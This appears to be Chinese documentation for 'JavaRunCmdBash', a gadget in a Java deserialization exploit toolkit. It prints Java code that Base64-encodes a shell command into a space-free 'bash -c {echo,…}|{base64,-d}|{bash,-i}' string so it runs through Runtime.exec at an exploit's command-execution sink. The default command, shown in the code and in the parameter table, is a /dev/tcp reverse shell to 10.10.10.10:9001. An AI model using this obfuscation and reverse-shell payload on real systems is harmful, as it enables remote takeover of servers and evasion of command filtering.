- 类别:common 别名:— 优先级:—
- 作者:—
- 依赖:无(仅用 JDK 自带
java.util.Base64)
把用户给定的命令改写成一段 Bash Base64 混淆命令字符串,用于绕过 Runtime.exec 直接执行含管道 |、重定向 >&、反引号等复杂 shell 语法时无法被正确解析的问题。产物是一条可被最终执行点安全执行的字符串。
- 入口
tags:Other、END——Other表通用工具,END表其为链末端节点(自身即产出最终命令字符串,不再向下衔接)。 - 衔接
nextTags:无。 excludes:无。
invoke 完全不使用 chain.doCreate,直接把用户参数 cmd 交给 getBashCommand 转换:
@Param(name="命令", description="执行命令内容", requires=true)
public String cmd = "sh -i >& /dev/tcp/10.10.10.10/9001 0>&1";
public static String getBashCommand(String cmd) {
String data = Base64.getEncoder().encodeToString(cmd.getBytes(Charset.forName("UTF-8")));
String template = "bash -c {echo,__BASE64__}|{base64,-d}|{bash,-i}";
return template.replace("__BASE64__", data);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return JavaRunCmdBash.getBashCommand(this.cmd);
}逐段说明:
- 默认
cmd即一条经典的/dev/tcp反弹 shell,含有>&、0>&1等Runtime.exec无法直接解析的语法(exec不经过 shell,不识别管道与重定向)。 getBashCommand先把整条命令 UTF-8 Base64 编码为data,避免命令中特殊字符在传参过程中被截断/转义。- 用模板
bash -c {echo,__BASE64__}|{base64,-d}|{bash,-i}包裹:{echo,<b64>}是 Bash 的花括号展开写法(无需空格即可分词),把 Base64 串echo出来,| {base64,-d}解码还原原始命令,| {bash,-i}交给交互式 bash 执行。整条命令不含空格(用逗号+花括号分词),从而能作为单个 token 直接塞进exec(String)或exec(String[])而不被空格拆散。 invoke直接返回这条字符串,忽略chain——因此它是链的叶子(END),产物供上层的命令执行沉点消费。
本 gadget 不做反序列化或反射,只是命令字符串的编码变形,等价于把「复杂 shell 命令」转成「Runtime.exec 可吞下的等效形式」。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | 执行命令内容(可含管道/重定向等复杂 shell 语法) | sh -i >& /dev/tcp/10.10.10.10/9001 0>&1 |
任意 shell 命令(必填) |
- 仅适用于目标为 Linux/类 Unix 且存在 bash 与 base64 命令的环境;模板依赖 Bash 花括号展开语义,
sh/dash不一定支持。 - 解决的核心痛点:
Runtime.exec按空白切分参数、不走 shell,导致|、>&、$()等失效;本 gadget 把命令包成无空格、由 bash 二次解码执行的形式绕过该限制。 - 与 JavaRunCmdPs 互为 Windows/Linux 对应版本。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。作为命令字符串预处理工具,供需要通过 Runtime.exec 执行复杂命令的自定义场景使用。
- 平台对应:JavaRunCmdPs(PowerShell 版本,面向 Windows)。
- 同目录工具类:Jar(字节码打包)。